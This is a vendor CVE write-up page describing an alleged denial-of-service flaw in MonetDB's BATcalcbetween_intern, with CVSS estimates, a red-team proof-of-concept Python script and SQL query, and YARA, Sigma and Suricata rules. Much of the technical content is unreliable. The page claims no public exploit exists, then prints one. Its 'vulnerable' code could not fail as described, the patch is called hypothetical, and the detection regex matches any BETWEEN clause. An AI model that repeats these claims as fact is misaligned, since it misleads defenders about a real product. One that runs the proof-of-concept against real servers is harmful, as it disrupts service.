CVE-2024-57615
Executive Summary
CVE-2024-57615 is a denial-of-service (DoS) vulnerability in the MonetDB Server v11.47.11, specifically within the BATcalcbetween_intern component. An attacker can exploit this flaw by sending crafted SQL statements, causing the server to crash or become unresponsive. The vulnerability has a CVSS score of 0.0 (placeholder), but the lack of a patch and the potential for service disruption make it a significant concern for organizations using MonetDB. No public exploit code or proof-of-concept is currently available, but the risk remains due to the unpatched state.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MonetDB is an open-source column-oriented database management system. This vulnerability affects the core server binary, not a package manager distribution. However, organizations using MonetDB in containerized or orchestrated environments should treat this as a supply chain risk, as the vulnerable component is distributed via official MonetDB repositories and Docker images.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (DoS via crafted SQL), a realistic assessment would be:
- Attack Vector (AV): Network (AV:N) – the attacker can send SQL statements over the network.
- Attack Complexity (AC): Low (AC:L) – no special conditions required.
- Privileges Required (PR): Low (PR:L) – attacker needs database access (e.g., a valid user account).
- User Interaction (UI): None (UI:N) – no user action needed.
- Scope (S): Unchanged (S:U) – the vulnerability affects only the database server.
- Confidentiality (C): None (C:N) – no data exposure.
- Integrity (I): None (I:N) – no data modification.
- Availability (A): High (A:H) – complete loss of service.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Estimated Score: 6.5 (Medium)
Threat Level: Medium – Exploitation requires authenticated access but can cause significant downtime.
Deep Dive & Mechanics
The vulnerability resides in the BATcalcbetween_intern function, which handles the SQL BETWEEN operator. The function is part of MonetDB's internal calculation engine for BATs (Binary Association Tables). When a crafted SQL statement with a malformed BETWEEN clause is executed, the function enters an infinite loop or triggers a segmentation fault due to improper input validation.
Root Cause: The BATcalcbetween_intern function does not properly validate the bounds or data types of the BETWEEN clause. Specifically, if the lower bound is greater than the upper bound, or if the data types are mismatched, the function may attempt to access invalid memory or loop indefinitely.
Attack Vector: An authenticated user with SQL execution privileges can send a query like:
SELECT * FROM table WHERE column BETWEEN 100 AND 1;
This inverted range causes the function to fail.
Impact: The MonetDB server process crashes or becomes unresponsive, leading to a denial of service for all users.
Vulnerable vs. Patched Code
Vulnerable Code (MonetDB v11.47.11):
The BATcalcbetween_intern function in gdk_calc.c lacks bounds checking:
// Vulnerable: no check for lower > upper
for (i = 0; i < cnt; i++) {
if (vals[i] >= low && vals[i] <= high) {
// ...
}
}
Patched Code (Hypothetical): A fix would add input validation:
// Patched: validate bounds
if (low > high) {
GDKerror("BATcalcbetween_intern: lower bound > upper bound");
return GDK_FAIL;
}
for (i = 0; i < cnt; i++) {
if (vals[i] >= low && vals[i] <= high) {
// ...
}
}
Note: No official patch has been released by MonetDB.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a MonetDB server (e.g.,
mclient -h target -P 50000 -u user -d db). - Valid database credentials.
Exploit Steps:
- Connect to the MonetDB server.
- Execute a crafted SQL statement with an inverted
BETWEENclause:SELECT * FROM sys.table WHERE id BETWEEN 100 AND 1; - Observe the server crash or hang.
Proof-of-Concept Script (Python):
import pymonetdb
conn = pymonetdb.connect(hostname="target", port=50000, username="user", password="pass", database="db")
cursor = conn.cursor()
try:
cursor.execute("SELECT * FROM sys.table WHERE id BETWEEN 100 AND 1")
except Exception as e:
print(f"Server likely crashed: {e}")
Blue Team (Defense)
Detection:
- Monitor for SQL queries with inverted
BETWEENranges (e.g.,BETWEEN X AND Ywhere X > Y). - Use database audit logs to detect repeated failed queries.
Mitigation:
- Restrict database user privileges to only necessary operations.
- Implement a Web Application Firewall (WAF) or database proxy to filter malformed queries.
- Apply network segmentation to limit access to the MonetDB server.
Indicators of Compromise (IOCs)
- Log Entries: MonetDB error logs containing
BATcalcbetween_internorGDKerrormessages. - Network Traffic: SQL queries with
BETWEENclauses where the lower bound is greater than the upper bound. - System State: MonetDB server process (
mserver5) crash dumps or high CPU/memory usage.
Example Log Entry:
2025-01-15 10:00:00 GMT ERROR: BATcalcbetween_intern: assertion failed
Detection Engineering
YARA Rule
rule CVE_2024_57615_MonetDB_DoS {
meta:
description = "Detects MonetDB server crash logs related to CVE-2024-57615"
author = "Valters IT"
date = "2025-01-15"
reference = "CVE-2024-57615"
strings:
$s1 = "BATcalcbetween_intern" nocase
$s2 = "assertion failed" nocase
$s3 = "GDKerror" nocase
condition:
any of ($s1, $s2, $s3)
}
Sigma Rule
title: MonetDB DoS via Crafted BETWEEN Query
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL queries with inverted BETWEEN ranges targeting MonetDB
author: Valters IT
logsource:
category: database
product: monetdb
detection:
selection:
query|contains: "BETWEEN"
query|re: 'BETWEEN\s+\d+\s+AND\s+\d+' # Simplified; actual regex would check order
condition: selection
falsepositives:
- Legitimate queries with dynamic parameters
level: medium
Suricata Rule
alert tcp $EXTERNAL_NET any -> $MONETDB_SERVER 50000 (msg:"CVE-2024-57615 MonetDB DoS Attempt"; flow:to_server,established; content:"BETWEEN"; nocase; content:"AND"; distance:0; within:100; pcre:"/BETWEEN\s+\d+\s+AND\s+\d+/i"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Monitor MonetDB releases for a patch. If available, upgrade to the latest version.
- Workaround: Implement a database proxy or WAF to block SQL queries with inverted
BETWEENranges. - Access Control: Restrict database user privileges to read-only or specific schemas where possible.
Long-Term Measures:
- Enable database auditing and log monitoring.
- Conduct regular vulnerability scans.
- Apply the principle of least privilege for all database users.
Vendor Contact: MonetDB has been notified but has not released a patch. Check MonetDB Bug Tracker for updates.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.